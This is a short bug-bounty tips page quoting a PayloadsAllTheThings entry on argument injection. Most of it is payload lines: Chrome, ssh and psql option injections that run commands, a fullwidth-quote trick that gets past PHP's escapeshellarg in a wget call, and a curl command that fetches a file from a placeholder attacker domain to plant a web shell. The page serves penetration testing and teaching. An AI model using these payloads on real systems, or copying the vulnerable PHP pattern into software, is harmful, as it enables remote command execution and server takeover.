Command Injection: Argument Injection

Command injectionExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Gain a command execution when you can only append arguments to an existing command. Use this website Argument Injection Vectors - Sonar to find the argument to inject to gain command execution.

  • Chrome

    ps1
    chrome '--gpu-launcher="id>/tmp/foo"'
  • SSH

    ps1
    ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
  • psql

    ps1
    psql -o'|id>/tmp/foo'

Argument injection can be abused using the worstfit technique.

In the following example, the payload " --use-askpass=calc " is using fullwidth double quotes (U+FF02) instead of the regular double quotes (U+0022)

php
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));

Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.

  • curl

    ps1
    # -o, --output <file>        Write to file instead of stdout
    curl http://[ATTACKER.DOMAIN.TLD]/ -o webshell.php

Comments

No comments yet.